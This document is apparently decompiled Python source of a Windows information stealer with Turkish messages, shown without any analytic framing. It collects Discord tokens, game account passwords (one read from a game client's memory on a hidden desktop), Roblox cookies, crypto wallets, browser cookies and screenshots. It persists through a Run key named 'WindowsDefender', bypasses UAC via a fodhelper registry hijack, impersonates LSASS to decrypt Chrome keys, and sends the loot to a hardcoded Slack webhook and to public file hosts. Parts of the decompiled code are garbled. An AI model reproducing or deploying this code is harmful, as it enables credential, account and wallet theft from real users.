is_elevated_flag = '--elevated' in sys.argv
if is_elevated_flag:
log_message('Running in elevated mode. Continuing with full payload generation natively.')
log_message('Attempting add_to_startup...')
add_to_startup()
checker = EnvironmentCheck()
if not checker.check_environment():
log_message('Environment check FAILED (Not a target machine?). PROCEEDING ANYWAY FOR DEBUGGING.')
else:
log_message('Environment check PASSED.')
uac_bypass = None
if not is_admin():
log_message('Not admin, attempting UAC bypass...')
uac_bypass = UACBypass()
uac_bypass.initialize()
else:
log_message('Already admin.')
uac_bypass = UACBypass()
uac_bypass.result['status'] = 'success'
uac_bypass.result['method'] = 'Admin yetkisi mevcut (Bypass gerekmedi)'
cookie_count, password_count = (0, 0)
cookie_zip_path = None
if is_admin():
try:
log_message('Admin present, extracting cookies...')
res = run_cookie_extraction()
if len(res) == 3:
cookie_count, password_count, cookie_zip_path = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
log_message('Scanning games, wallets, system info...')
with ThreadPoolExecutor(max_workers=4) as executor:
games_future = executor.submit(scan_games)
wallets_future = executor.submit(scan_wallets)
system_future = executor.submit(get_system_info)
snapshot_future = executor.submit(take_snapshot)
games = games_future.result()
wallets = wallets_future.result()
system = system_future.result()
snapshot = snapshot_future.result()
log_message(f'Games found: {list(games.keys())}')
roblox_data = get_roblox_data()
if roblox_data:
log_message('Roblox data found, storing to attach in zip.')
sonoyuncu_stealer = SonoyuncuStealer()
sonoyuncu_info = sonoyuncu_stealer.get_sonoyuncu_credentials()
minecraft_info = check_minecraft_premium()
all_tokens = TokenCollector().get_all_tokens()
log_message(f'Collected {len(all_tokens)} tokens.')
log_message('Collecting CraftRise data...')
craftrise_data = DataProcessor().collect()
log_message('Collecting wallet data...')
wallet_files = []
wallet_error_log = []
try:
wallet_files, wallet_errors = collect_wallet_data()
wallet_error_log.extend(wallet_errors)
except Exception as e:
wallet_error_log.append(f'Error collecting wallet data: {str(e)}')
discord_info = ''
if not all_tokens:
discord_info = ' Discord token bulunamadı.\n'
else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
canary_badge_str = badge_str if is_canary else 'Yok'
discord_info += f' Token: {t}\n'
discord_info += f' {u['username']}\n'
discord_info += f' {u['id']}\n'
discord_info += f' Mail: {u['email']}\n'
discord_info += f' Telefon: {(u['phone'] if u['phone'] else 'Yok')}\n'
discord_info += f' Rozet: {badge_str}\n'
discord_info += f' Discord Canary Rozetleri: {canary_badge_str}\n'
discord_info += f' Nitro: {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n'
discord_info += f' Yıl: {TokenCollector().calc_creation_date(u['id'])}\n\n'
else:
discord_info += f' Token: {t}\n Bilinmeyen kullanıcı\n\n'
craftrise_msg = ''
if isinstance(craftrise_data, list):
for acc in craftrise_data:
try:
craftrise_msg += f' Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n\n'
except Exception:
pass
else:
pass
else:
craftrise_msg = str(craftrise_data)
user = os.getenv('USERPROFILE', '')
files = {'minecraft': [], 'growtopia': [], 'sonoyuncu': [], 'craftrise': [], 'wallets': wallet_files}
if user:
try:
for f in ['usercache.json', 'command_history.txt']:
file_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft', f)
if os.path.exists(file_path):
files['minecraft'].append(file_path)
except Exception:
pass
try:
growtopia_path = os.path.join(user, 'AppData', 'Local', 'Growtopia', 'save.dat')
if os.path.exists(growtopia_path):
files['growtopia'].append(growtopia_path)
except Exception:
pass
try:
sonoyuncu_path = os.path.join(user, 'AppData', 'Roaming', '.sonoyuncu', 'config.json')
if os.path.exists(sonoyuncu_path):
files['sonoyuncu'].append(sonoyuncu_path)
except Exception:
pass
try:
craftrise_path = os.path.join(user, 'AppData', 'Roaming', '.craftrise', 'config.json')
if os.path.exists(craftrise_path):
files['craftrise'].append(craftrise_path)
except Exception:
pass
log_message('Creating final zip file...')
zip_path = create_zip(files['minecraft'], files['growtopia'], files['sonoyuncu'], files['craftrise'], files['wallets'], error_log=wallet_error_log, roblox_data=roblox_data)
game_status = {k: ' Kurulu' if v else ' Yok' for k, v in games.items()}
wallet_status = {k: ' Var' for k, v in wallets.items() if v}
steam_info = games.get('Steam', {})
epic_info = games.get('Epic Games', {})
browsers_str = ', '.join(system.get('Browsers', []))
uac_status_msg = '• UAC Bypass: Başarısız'
if uac_bypass:
status = uac_bypass.result.get('status', 'unknown')
if status == 'success':
uac_status_msg = '• UAC Bypass: Başarılı'
if uac_bypass.result.get('method'):
uac_status_msg += f' - {uac_bypass.result['method']}'
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
sonoyuncu_formatted = (sonoyuncu_info or '').strip()
craftrise_formatted = ''
if isinstance(craftrise_data, list):
craftrise_formatted += ' CraftRise\n'
for acc in craftrise_data:
craftrise_formatted += f' Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n'
else:
if craftrise_data:
craftrise_formatted = str(craftrise_data).strip()
discord_formatted = ''
if not all_tokens:
discord_formatted = 'Bulunamadı'
else:
for token_data in all_tokens:
t = token_data['token']
u = TokenCollector().get_user_info(t)
if u:
discord_formatted += f' {u['username']}\n `{t}`\n\n'
else:
discord_formatted += f' Bilinmeyen kullanıcı\n `{t}`\n\n'
games_list = []
for g_name, g_val in games.items():
if g_val:
games_list.append(g_name)
if steam_info:
games_list.append('Steam')
if isinstance(epic_info, dict) and epic_info.get('installed'):
games_list.append('Epic Games')
if isinstance(minecraft_info, dict) and minecraft_info.get('installed'):
games_list.append('Minecraft')
games_str = '\n'.join([f'• {g}' for g in set(games_list)]) if games_list else 'Bulunamadı'
public_ip = system.get('PublicIP', 'Bilinmiyor')
flag, country = get_ip_info(public_ip)
blocks = [{'type': 'header', 'text': [{'type': 'plain_text', 'text': {' ELITE LOG DASHBOARD (Slack Entegre)': True}}, {'type': 'section', 'fields': [{'type': 'mrkdwn', 'text': f'* Kullanıcı:*\n`{system.get('User', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'* PC:*\n`{system.get('PC', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'* IP/Ülke:*\n`{system.get('public_ip', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'` {system.get('flag', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f' ({country})'}, {'type': 'mrkdwn', 'text'
log_message('Sending Slack summary Dashboard (Card view)...')
attachments = [{'color': '#439fe0', 'blocks': blocks}]
send_slack_message(attachments=attachments)
log_message('Uploading captured files to Slack (via file.io)...')
files_to_send = []
if zip_path and os.path.exists(zip_path):
files_to_send.append(zip_path)
if cookie_zip_path and os.path.exists(cookie_zip_path):
files_to_send.append(cookie_zip_path)
if snapshot and os.path.exists(snapshot):
files_to_send.append(snapshot)
for f_path in files_to_send:
try:
upload_to_slack_helper(f_path)
except Exception as e:
log_message(f'Error sending file {f_path} to Slack: {e}')
else:
pass
if zip_path and os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')
if __debug__:
pass
if zip_path and os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')

 

[warnight]

import os
import json
import re
import base64
import tempfile
import requests
import time
import random
import string
import socket
import platform
from Cryptodome.Cipher import AES, ChaCha20_Poly1305
import ctypes
import psutil
import pymem
import win32crypt
from datetime import datetime, timezone
import mss
import threading
import winreg
import subprocess
import zipfile
import sys
import shutil
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from ctypes import wintypes
import sqlite3
import pathlib
import binascii
import io
import struct
from contextlib import contextmanager
import traceback
try:
import windows
import windows.crypto
import windows.generated_def as gdef
except ImportError:
windows = None
gdef = None
try:
from shadowcopy import shadow_copy
except ImportError:
shadow_copy = None
try:
import browser_cookie3
except ImportError:
browser_cookie3 = None
SLACK_WEBHOOK_URL = 'https://hooks.slack.com/services/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'
def send_slack_message(text=None, blocks=None, attachments=None):
# ***<module>.send_slack_message: Failure: Different bytecode
try:
data = {}
if text:
data['text'] = text
if blocks:
data['blocks'] = blocks
if attachments:
data['attachments'] = attachments
res = requests.post(SLACK_WEBHOOK_URL, json=data, timeout=30, verify=False)
log_message(f'Slack response: {res.status_code} - {res.text}')
return res.status_code == 200
except Exception as e:
log_message(f'Slack send error: {e}')
return False
def get_ip_info(ip):
# ***<module>.get_ip_info: Failure: Different bytecode
try:
res = requests.get(f'http://ip-api.com/json/{ip}', timeout=10, verify=False).json()
country = res.get('country', 'Bilinmiyor')
country_code = res.get('countryCode', '').lower()
flag = f':flag-{country_code}:' if country_code else ''
return (flag, country)
except:
return ('', 'Bilinmiyor')
def upload_to_slack_helper(file_path):
# irreducible cflow, using cdg fallback
# ***<module>.upload_to_slack_helper: Failure: Compilation Error
if os.path.exists(file_path):
filename = os.path.basename(file_path)
log_message(f'Uploading {filename} to Catbox...')
with open(file_path, 'rb') as f:
res = requests.post('https://catbox.moe/user/api.php', data={'reqtype': 'fileupload'}, files={'fileToUpload': f}, timeout=60, verify=False)
if res.status_code == 200 and res.text.strip().startswith('http'):
link = res.text.strip()
attachments = [{'color': '#2eb67d', 'blocks': [{'type': 'section', 'text': {'type': 'mrkdwn', 'text': f' *Dosya Yüklendi:* `{filename}`'}, 'accessory': {'type': 'button', 'text': {'type': 'plain_text', 'text': ' İndir', 'emoji': True}, 'url': link, 'action_id': 'download_link'}}]}]
send_slack_message(attachments=attachments)
return True
log_message(f'Falling back to file.io for {filename}...')
with open(file_path, 'rb') as f:
res = requests.post('https://file.io', files={'file': f}, timeout=60, verify=False)
if res.status_code == 200:
content = res.text.strip()
if content and content.startswith('{'):
resp_json = res.json()
link = resp_json.get('link')
if link:
attachments = [{'color': '#2eb67d', 'blocks': [{'type': 'section', 'text': {'type': 'mrkdwn', 'text': f' *Dosya Yüklendi (Yedek):* `{filename}`'}, 'accessory': {'type': 'button', 'text': {'type': 'plain_text', 'text': ' İndir'}, 'url': link}}]}]
send_slack_message(attachments=attachments)
return True
send_slack_message(text=f' *Dosya Yüklenemedi:* `{filename}` (Sunucu reddetti veya engelledi)')
return False
except Exception as e:
log_message(f'Catbox failed: {e}')
pass
except Exception as e:
log_message(f'Critical upload error: {e}')
send_slack_message(text=f' *Yükleme Hatası:* `{os.path.basename(file_path)}` - Sistem hatası.')
return False
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SE_PRIVILEGE_ENABLED = 2
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 32
TOKEN_DUPLICATE = 2
TOKEN_IMPERSONATE = 4
SecurityImpersonation = 2
TokenImpersonation = 2
class LUID(ctypes.Structure):
_fields_ = [('LowPart', wintypes.DWORD), ('HighPart', wintypes.LONG)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [('Luid', LUID), ('Attributes', wintypes.DWORD)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [('PrivilegeCount', wintypes.DWORD), ('Privileges', LUID_AND_ATTRIBUTES * 1)]
def log_message(msg):
# ***<module>.log_message: Failure: Different bytecode
try:
print(f'[{datetime.now().strftime('%H:%M:%S')}] {msg}')
except:
return None
def add_to_startup():
# irreducible cflow, using cdg fallback
# ***<module>.add_to_startup: Failure: Compilation Error
key = winreg.HKEY_CURRENT_USER
registry_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
with winreg.OpenKey(key, registry_path, 0, winreg.KEY_SET_VALUE) as reg_key:
current_file = os.path.abspath(sys.argv[0])
winreg.SetValueEx(reg_key, 'WindowsDefender', 0, winreg.REG_SZ, current_file)
return True
return True
except Exception as e:
return False
def get_roblox_data():
# irreducible cflow, using cdg fallback
# ***<module>.get_roblox_data: Failure: Compilation Error
user_profile = os.getenv('USERPROFILE', '')
path = os.path.join(user_profile, 'AppData', 'Local', 'Roblox', 'LocalStorage', 'robloxcookies.dat')
if not os.path.exists(path):
return None
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
encoded = data.get('CookiesData', '')
if not encoded:
return
decrypted_bytes = win32crypt.CryptUnprotectData(base64.b64decode(encoded), None, None, None, 0)[1]
decrypted = decrypted_bytes.decode('utf-8', errors='ignore')
lines = []
for cookie in decrypted.replace('\n', '').split(';'):
cookie = cookie.strip()
if cookie.startswith('#HttpOnly_'):
cookie = cookie[len('#HttpOnly_'):]
if cookie:
lines.append(cookie)
return '\n'.join(lines)
except Exception:
return None
class EnvironmentCheck:
def __init__(self):
self.target_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.craftrise'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.minecraft'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'discord'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.sonoyuncu'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Telegram Desktop')]
def check_environment(self):
# ***<module>.EnvironmentCheck.check_environment: Failure: Different control flow
try:
for path in self.target_paths:
if os.path.exists(path):
pass
else:
return True
except Exception:
return True
return False
class SonoyuncuStealer:
def __init__(self):
# ***<module>.SonoyuncuStealer.__init__: Failure: Different bytecode
self.kernel32, self.user32 = (ctypes.WinDLL('kernel32'), ctypes.WinDLL('user32'))
self.desktop_name, self.hidden_desktop, self.process_info = ('HiddenDesktop', None, None)
self.sonoyuncu_app_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/sonoyuncuclient.exe'
self.sonoyuncu_config_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/config.json'
def launch_application_hidden(self):
# ***<module>.SonoyuncuStealer.launch_application_hidden: Failure: Different bytecode
try:
class STARTUPINFO(ctypes.Structure):
# ***<module>.SonoyuncuStealer.launch_application_hidden.STARTUPINFO: Failure: Different bytecode
_fields_ = [('cb', wintypes.DWORD), ('lpReserved', wintypes.LPWSTR), ('lpDesktop', wintypes.LPWSTR), ('lpTitle', wintypes.LPWSTR), ('dwX', wintypes.DWORD), ('dwY', wintypes.DWORD), ('dwXSize', wintypes.DWORD), ('dwYSize', wintypes.DWORD), ('dwXCountChars', wintypes.DWORD), ('dwYCountChars', wintypes.DWORD), ('dwFillAttribute', wintypes.WORD), ('wShowWindow', ctypes.POINTER(wintypes.BYTE)), ('hStdInput', wintypes.HANDLE), ('hStdOutput', wintypes.HANDLE), ('hStdError', wintypes.HANDLE)]
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [('hProcess', wintypes.HANDLE), ('hThread', wintypes.HANDLE), ('dwProcessId', wintypes.DWORD), ('dwThreadId', wintypes.DWORD)]
startup_info = STARTUPINFO()
startup_info.cb, startup_info.lpDesktop, startup_info.dwFlags, startup_info.wShowWindow = (ctypes.sizeof(STARTUPINFO), self.desktop_name, 1, 0)
process_info = PROCESS_INFORMATION()
if not self.kernel32.CreateProcessW(None, self.sonoyuncu_app_path, None, None, False, 134217728, None, None, ctypes.byref(startup_info), ctypes.byref(process_info)):
if self.hidden_desktop:
self.user32.CloseDesktop(self.hidden_desktop)
else:
return process_info
except Exception as e:
return None
return None
def create_hidden_desktop(self):
try:
return self.user32.CreateDesktopW(self.desktop_name, None, None, 0, 268435808, None)
except Exception as e:
return None
def get_user_data(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_user_data: Failure: Compilation Error
username = self.get_username()
if not username:
return
self.hidden_desktop = self.create_hidden_desktop()
if self.hidden_desktop:
self.process_info = self.launch_application_hidden()
if self.process_info:
password = self.extract_memory_credentials(self.process_info.dwProcessId)
if password:
return (username, password)
self.cleanup(self.process_info.dwProcessId)
self.cleanup(self.process_info.dwProcessId)
except Exception:
return None
def extract_memory_credentials(self, process_id):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_memory_credentials: Failure: Compilation Error
start_time = time.time()
if time.time() - start_time < 10:
pass
else:
return ''
process_memory = pymem.Pymem(process_id)
base_address = pymem.process.module_from_name(process_memory.process_handle, 'sonoyuncuclient.exe').lpBaseOfDll
password = self.try_multiple_offsets(process_memory, base_address)
if password:
return password
return None
except Exception as e:
time.sleep(0.1)
return None
def get_username(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_username: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
return json.load(f).get('userName', '')
return ''
return ''
except Exception as e:
return ''
def try_multiple_offsets(self, pm, base_address):
for offset in [1878448]:
try:
decoded_data = pm.read_bytes(base_address + offset, 256).decode('utf-8', 'ignore')
password = self.extract_password_from_data(decoded_data)
if password:
return password
except Exception as e:
pass
return ''
def extract_password_from_data(self, data):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_password_from_data: Failure: Compilation Error
for pattern in ['[A-Za-z0-9._\\-@+#$%^&*=!?~\\\'\\\",\\\\|/:<>[\\]{}()]{4,50}', '[A-Za-z0-9!@#$%^&*()_+\\-=\\[\\]{};\\\':\"\\\\|,.<>/?]{4,30}']:
for match in re.findall(pattern, data):
if len(match) >= 4:
<code object LUID at 0x703b27eb7b30, file "sa.py", line 151> = any((True if c.isalpha() for c in match)((c.isalpha() for c in match)))
continue
<code object LUID at 0x703b27eb7b30, file "sa.py", line 151> = any((True if c.isalnum() for c in match)((c.isalnum() for c in match)))
return match
return ''
def cleanup(self, process_id):
# ***<module>.SonoyuncuStealer.cleanup: Failure: Different bytecode
try:
psutil.Process(process_id).terminate()
except Exception as e:
pass
if self.process_info:
try:
self.kernel32.CloseHandle(self.process_info.hProcess)
self.kernel32.CloseHandle(self.process_info.hThread)
except Exception as e:
pass
if self.hidden_desktop:
try:
self.user32.CloseDesktop(self.hidden_desktop)
except Exception as e:
return None
def get_sonoyuncu_credentials(self):
if not os.path.exists(self.sonoyuncu_app_path):
return ' Yok'
else:
credentials = self.get_user_data()
if credentials:
username, password = credentials
return f' Sonoyuncu\n Nick: {username}\n Şifre: {password}'
else:
return self.get_sonoyuncu_username_only()
def get_sonoyuncu_username_only(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_sonoyuncu_username_only: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
config_data = json.load(f)
username = config_data.get('userName', '').strip()
if username:
return f' Sonoyuncu\n Nick: {username}\n Şifre: Alınamadı'
return ' Yok'
except Exception:
return ' Yok'
class UACBypass:
_attempted = False
def __init__(self):
# ***<module>.UACBypass.__init__: Failure: Different bytecode
try:
self.startupinfo = subprocess.STARTUPINFO()
self.startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
self.startupinfo.wShowWindow = subprocess.SW_HIDE
self.script_path = os.path.abspath(sys.argv[0])
self.result = {'status': 'unknown', 'method': '', 'error': ''}
self.active_processes = []
self.silent_mode = True
except Exception as e:
self.result = {'status': 'failed', 'method': '', 'error': f'Init error: {str(e)}'}
def restore_settings(self, reg_paths):
# ***<module>.UACBypass.restore_settings: Failure: Different bytecode
if isinstance(reg_paths, str):
reg_paths = [reg_paths]
for reg_path in reg_paths:
try:
winreg.DeleteKey(winreg.HKEY_CURRENT_USER, reg_path)
except Exception:
pass
def verify_process(self):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass.verify_process: Failure: Compilation Error
script_name = os.path.basename(sys.argv[0]).lower()
for process in psutil.process_iter(['name', 'cmdline']):
if process.info['name']:
if 'python' in process.info['name'].lower():
cmdline = process.info.get('cmdline', [])
if cmdline and (not any((script_name in str(arg).lower() for arg in cmdline))):
if not is_admin():
return True
return False
except Exception:
continue
except Exception:
return False
def get_running_script_pids(self):
# ***<module>.UACBypass.get_running_script_pids: Failure: Different bytecode
current_pid = os.getpid()
script_name = os.path.basename(sys.argv[0]).lower()
script_path_lower = os.path.abspath(sys.argv[0]).lower()
pids = []
for process in psutil.process_iter(['name', 'cmdline', 'pid']):
try:
if process.info['pid'] == current_pid:
continue
else:
if process.info['name']:
if 'python' in process.info['name'].lower():
cmdline = process.info.get('cmdline', [])
if cmdline:
cmdline_str = ' '.join((str(arg).lower() for arg in cmdline))
if script_name in cmdline_str or script_path_lower in cmdline_str:
pids.append(process.info['pid'])
except (psutil.NoSuchProcess, psutil.AccessDenied, Exception):
continue
return pids
def _try_method(self, method, script_path, initial_pids):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass._try_method: Failure: Compilation Error
command_key = method.get('command_key', method['reg_path'])
command_values = method.get('command_values', method['values'])
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, command_key) as key:
for name, value in command_values:
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, value)
if 'CurVer' in method['reg_path']:
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, method['reg_path']) as key:
for name, value in method['values']:
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, value)
if method.get('backup', False):
backup_key = 'Software\\Classes\\ms-settings\\Shell\\Open\\command'
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, backup_key) as key:
winreg.SetValueEx(key, '', 0, winreg.REG_SZ, f'\"{sys.executable}\" \"{script_path}\" --elevated')
winreg.SetValueEx(key, 'DelegateExecute', 0, winreg.REG_SZ, '')
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
process = subprocess.Popen([method['trigger']], startupinfo=si, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
self.active_processes.append(process)
max_wait_time = method.get('timeout', 5)
check_interval = 0.15
start_time = time.time()
if time.time() - start_time < max_wait_time:
if is_admin():
self._cleanup_reg(method, command_key)
self.result['status'] = 'success'
self.result['method'] = f'UAC Bypass - {method['name']}'
return True
current_pids = set(self.get_running_script_pids())
new_pids = current_pids - initial_pids
if new_pids:
time.sleep(0.8)
if is_admin():
self._cleanup_reg(method, command_key)
self.result['status'] = 'success'
self.result['method'] = f'UAC Bypass - {method['name']}'
return True
time.sleep(check_interval)
self._cleanup_reg(method, command_key)
return False
except Exception:
try:
self._cleanup_reg(method, command_key)
except:
pass
else:
return False
def _cleanup_reg(self, method, command_key):
cleanup_paths = [command_key]
if 'CurVer' in method['reg_path']:
cleanup_paths.append(method['reg_path'])
if method.get('backup', False):
cleanup_paths.append('Software\\Classes\\ms-settings\\Shell\\Open\\command')
self.restore_settings(cleanup_paths)
def verify_elevation(self, script_path):
method = {'reg_path': 'Software\\Classes\\ms-settings\\Shell\\Open\\command', 'values': [('', f'\"{sys.executable}\" \"{script_path}\" --elevated'), ('DelegateExecute', '')], 'trigger': 'fodhelper.exe', 'name': 'FodHelper_Silent', 'timeout': 5}
initial_pids = set(self.get_running_script_pids())
return self._try_method(method, script_path, initial_pids)
def initialize(self):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass.initialize: Failure: Compilation Error
if UACBypass._attempted:
time.sleep(1)
if is_admin():
self.result['status'] = 'success'
if not self.result.get('method'):
self.result['method'] = 'UAC Bypass - FodHelper_Silent'
run_cookie_extraction()
return True
else:
return False
else:
if is_admin():
run_cookie_extraction()
return True
else:
UACBypass._attempted = True
script_path = os.path.abspath(sys.argv[0])
if self.verify_elevation(script_path):
self.result['status'] = 'success'
if not self.result.get('method'):
self.result['method'] = 'UAC Bypass - FodHelper_Silent'
uac_status_file = os.path.join(os.environ.get('TEMP', os.path.expandvars('%TEMP%')), 'uac_bypass_status.json')
with open(uac_status_file, 'w') as f:
json.dump(self.result, f)
for _ in range(12):
time.sleep(0.5)
if is_admin():
time.sleep(0.5)
sys.exit(0)
time.sleep(1)
if is_admin():
sys.exit(0)
return False
if self.result.get('status') == 'unknown':
self.result['status'] = 'failed'
if not self.result.get('error'):
self.result['error'] = 'UAC bypass attempt failed'
return False
except Exception as e:
self.result['status'] = 'failed'
self.result['error'] = f'Execution error: {str(e)}'
return False
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()!= 0
except Exception:
return False
def create_zip_with_outputs(output_folder, zip_path):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip_with_outputs: Failure: Compilation Error
os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(output_folder):
for file in files:
try:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, output_folder)
zipf.write(file_path, arcname)
except Exception:
pass
else:
pass
except Exception as e:
log_message(f'create_zip_with_outputs failed: {e}')
@contextmanager
def impersonate_lsass():
# ***<module>.impersonate_lsass: Failure: Different bytecode
advapi32 = ctypes.windll.advapi32
kernel32 = ctypes.windll.kernel32
token = wintypes.HANDLE()
impersonation_token = wintypes.HANDLE()
h_process = None
original_thread_token = wintypes.HANDLE()
success = False
try:
h_current_token = wintypes.HANDLE()
if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(h_current_token)):
luid = LUID()
if advapi32.LookupPrivilegeValueW(None, 'SeDebugPrivilege', ctypes.byref(luid)):
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(h_current_token, False, ctypes.byref(tp), 0, None, None)
kernel32.CloseHandle(h_current_token)
lsass_pid = (-1)
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() == 'lsass.exe':
lsass_pid = proc.pid
break
if lsass_pid!= (-1):
h_process = kernel32.OpenProcess(4096, False, lsass_pid)
if h_process and advapi32.OpenProcessToken(h_process, TOKEN_QUERY | TOKEN_DUPLICATE, ctypes.byref(token)) and advapi32.DuplicateTokenEx(token, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, None, SecurityImpersonation, TokenImpersonation, ctypes.byref(impersonation_token)) and advapi32.SetThreadToken(None, impersonation_token):
log_message('LSASS Impersonation SUCCESS')
success = True
yield success
except Exception as e:
log_message(f'impersonate_lsass error: {e}')
yield False
finally:
if success:
advapi32.SetThreadToken(None, None)
if impersonation_token:
kernel32.CloseHandle(impersonation_token)
if token:
kernel32.CloseHandle(token)
if h_process:
kernel32.CloseHandle(h_process)
def parse_key_blob(blob_data: bytes) -> dict:
# ***<module>.parse_key_blob: Failure: Different bytecode
try:
buffer = io.BytesIO(blob_data)
parsed_data = {}
header_len = struct.unpack('<I', buffer.read(4))[0]
buffer.read(header_len)
content_len = struct.unpack('<I', buffer.read(4))[0]
parsed_data['flag'] = buffer.read(1)[0]
if parsed_data['flag'] in [1, 2]:
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
if parsed_data['flag'] == 3:
parsed_data['encrypted_aes_key'] = buffer.read(32)
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
raise ValueError(f'Unsupported flag: {parsed_data['flag']}')
except Exception:
return {}
def byte_xor(ba1, ba2):
try:
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
except Exception:
return b''
def decrypt_with_cng(input_data):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_with_cng: Failure: Compilation Error
ncrypt = ctypes.windll.ncrypt
ncrypt.NCryptOpenStorageProvider.restype = wintypes.DWORD
ncrypt.NCryptOpenStorageProvider.argtypes = [ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD]
ncrypt.NCryptOpenKey.restype = wintypes.DWORD
ncrypt.NCryptOpenKey.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD]
ncrypt.NCryptDecrypt.restype = wintypes.DWORD
ncrypt.NCryptDecrypt.argtypes = [wintypes.HANDLE, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.c_void_p, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.DWORD]
ncrypt.NCryptFreeObject.restype = wintypes.DWORD
ncrypt.NCryptFreeObject.argtypes = [wintypes.HANDLE]
hProvider = wintypes.HANDLE()
provider_name = 'Microsoft Software Key Storage Provider'
status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
if status!= 0:
log_message(f'NCryptOpenStorageProvider failed: {hex(status & 4294967295)}')
return b''
else:
hKey = wintypes.HANDLE()
key_name = 'Google Chromekey1'
status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
if status!= 0:
log_message(f'NCryptOpenKey failed: {hex(status & 4294967295)}')
ncrypt.NCryptFreeObject(hProvider)
return b''
pcbResult = wintypes.DWORD(0)
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, None, 0, ctypes.byref(pcbResult), 64)
if status!= 0:
